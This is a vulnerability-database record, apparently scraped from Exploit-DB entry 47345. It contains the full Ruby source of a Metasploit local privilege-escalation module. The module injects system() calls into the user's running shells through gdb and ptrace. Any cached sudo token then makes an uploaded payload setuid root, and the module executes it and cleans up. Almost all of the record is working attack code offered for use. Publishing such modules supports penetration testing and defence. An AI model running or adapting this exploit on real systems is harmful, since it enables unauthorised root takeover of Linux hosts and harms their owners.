{"id": "EDB-ID:47345", "vendorId": null, "type": "exploitdb", "bulletinFamily": "exploit", "title": "ptrace - Sudo Token Privilege Escalation (Metasploit)", "description": "", "published": "2019-09-03T00:00:00", "modified": "2019-09-03T00:00:00", "epss": [], "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.exploit-db.com/exploits/47345", "reporter": "Metasploit", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2023-11-26T22:52:30", "viewCount": 281, "enchantments": {"dependencies": {}, "score": {"value": 7.4, "uncertanity": 1.9, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2020-25005", "CVE-2020-25006"]}]}, "exploitation": null, "vulnersScore": 7.4}, "_state": {"dependencies": 1701039308, "score": 1701039438, "epss": 0}, "_internal": {"score_hash": "b66fd47adf7dd63141618d84f1572f17"}, "sourceHref": "https://www.exploit-db.com/raw/47345", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Post::Linux::Kernel\r\n include Msf::Post::Linux::Priv\r\n include Msf::Post::Linux::System\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'ptrace Sudo Token Privilege Escalation',\r\n 'Description' => %q{\r\n This module attempts to gain root privileges by blindly injecting into\r\n the session user's running shell processes and executing commands by\r\n calling `system()`, in the hope that the process has valid cached sudo\r\n tokens with root privileges.\r\n\r\n The system must have gdb installed and permit ptrace.\r\n\r\n This module has been tested successfully on:\r\n\r\n Debian 9.8 (x64); and\r\n CentOS 7.4.1708 (x64).\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'chaignc', # sudo_inject\r\n 'bcoles' # Metasploit\r\n ],\r\n 'DisclosureDate' => '2019-03-24',\r\n 'References' =>\r\n [\r\n ['EDB', '46989'],\r\n ['URL', 'https://github.com/nongiach/sudo_inject'],\r\n ['URL', 'https://www.kernel.org/doc/Documentation/security/Yama.txt'],\r\n ['URL', 'http://man7.org/linux/man-pages/man2/ptrace.2.html'],\r\n ['URL', 'https://lwn.net/Articles/393012/'],\r\n ['URL', 'https://lwn.net/Articles/492667/'],\r\n ['URL', 'https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/'],\r\n ['URL', 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html']\r\n ],\r\n 'Platform' => ['linux'],\r\n 'Arch' =>\r\n [\r\n ARCH_X86,\r\n ARCH_X64,\r\n ARCH_ARMLE,\r\n ARCH_AARCH64,\r\n ARCH_PPC,\r\n ARCH_MIPSLE,\r\n ARCH_MIPSBE\r\n ],\r\n 'SessionTypes' => ['shell', 'meterpreter'],\r\n 'Targets' => [['Auto', {}]],\r\n 'DefaultOptions' =>\r\n {\r\n 'PrependSetresuid' => true,\r\n 'PrependSetresgid' => true,\r\n 'PrependFork' => true,\r\n 'WfsDelay' => 30\r\n },\r\n 'DefaultTarget' => 0))\r\n register_options [\r\n OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30'])\r\n ]\r\n register_advanced_options [\r\n OptBool.new('ForceExploit', [false, 'Override check result', false]),\r\n OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])\r\n ]\r\n end\r\n\r\n def base_dir\r\n datastore['WritableDir'].to_s\r\n end\r\n\r\n def timeout\r\n datastore['TIMEOUT']\r\n end\r\n\r\n def upload(path, data)\r\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\r\n rm_f path\r\n write_file path, data\r\n register_file_for_cleanup path\r\n end\r\n\r\n def check\r\n if yama_enabled?\r\n vprint_error 'YAMA ptrace scope is restrictive'\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'YAMA ptrace scope is not restrictive'\r\n\r\n if command_exists? '/usr/sbin/getsebool'\r\n if cmd_exec(\"/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on && echo true\").to_s.include? 'true'\r\n vprint_error 'SELinux deny_ptrace is enabled'\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'SELinux deny_ptrace is disabled'\r\n end\r\n\r\n unless command_exists? 'sudo'\r\n vprint_error 'sudo is not installed'\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'sudo is installed'\r\n\r\n unless command_exists? 'gdb'\r\n vprint_error 'gdb is not installed'\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'gdb is installed'\r\n\r\n CheckCode::Detected\r\n end\r\n\r\n def exploit\r\n unless check == CheckCode::Detected\r\n unless datastore['ForceExploit']\r\n fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'\r\n end\r\n print_warning 'Target does not appear to be vulnerable'\r\n end\r\n\r\n if is_root?\r\n unless datastore['ForceExploit']\r\n fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'\r\n end\r\n end\r\n\r\n unless writable? base_dir\r\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\r\n end\r\n\r\n if nosuid? base_dir\r\n fail_with Failure::BadConfig, \"#{base_dir} is mounted nosuid\"\r\n end\r\n\r\n # Find running shell processes\r\n shells = %w[ash ksh csh dash bash zsh tcsh fish sh]\r\n\r\n system_shells = read_file('/etc/shells').to_s.each_line.map {|line|\r\n line.strip\r\n }.reject {|line|\r\n line.starts_with?('#')\r\n }.each {|line|\r\n shells << line.split('/').last\r\n }\r\n shells = shells.uniq.reject {|shell| shell.blank?}\r\n\r\n print_status 'Searching for shell processes ...'\r\n pids = []\r\n if command_exists? 'pgrep'\r\n cmd_exec(\"pgrep '^(#{shells.join('|')})$' -u \\\"$(id -u)\\\"\").to_s.each_line do |pid|\r\n pids << pid.strip\r\n end\r\n else\r\n shells.each do |s|\r\n pidof(s).each {|p| pids << p.strip}\r\n end\r\n end\r\n\r\n if pids.empty?\r\n fail_with Failure::Unknown, 'Found no running shell processes'\r\n end\r\n\r\n print_status \"Found #{pids.uniq.length} running shell processes\"\r\n vprint_status pids.join(', ')\r\n\r\n # Upload payload\r\n @payload_path = \"#{base_dir}/.#{rand_text_alphanumeric 10..15}\"\r\n upload @payload_path, generate_payload_exe\r\n\r\n # Blindly call system() in each shell process\r\n pids.each do |pid|\r\n print_status \"Injecting into process #{pid} ...\"\r\n\r\n cmds = \"echo | sudo -S /bin/chown 0:0 #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod 4755 #{@payload_path} >/dev/null 2>&1\"\r\n sudo_inject = \"echo 'call system(\\\"#{cmds}\\\")' | gdb -q -n -p #{pid} >/dev/null 2>&1\"\r\n res = cmd_exec sudo_inject, nil, timeout\r\n vprint_line res unless res.blank?\r\n\r\n next unless setuid? @payload_path\r\n\r\n print_good \"#{@payload_path} setuid root successfully\"\r\n print_status 'Executing payload...'\r\n res = cmd_exec \"#{@payload_path} & echo \"\r\n vprint_line res\r\n return\r\n end\r\n\r\n fail_with Failure::NoAccess, 'Failed to create setuid root shell. Session user has no valid cached sudo tokens.'\r\n end\r\n\r\n def on_new_session(session)\r\n if session.type.eql? 'meterpreter'\r\n session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'\r\n session.fs.file.rm @payload_path\r\n else\r\n session.shell_command_token \"rm -f '#{@payload_path}'\"\r\n end\r\n ensure\r\n super\r\n end\r\nend", "osvdbidlist": [], "exploitType": "local", "verified": true}
{}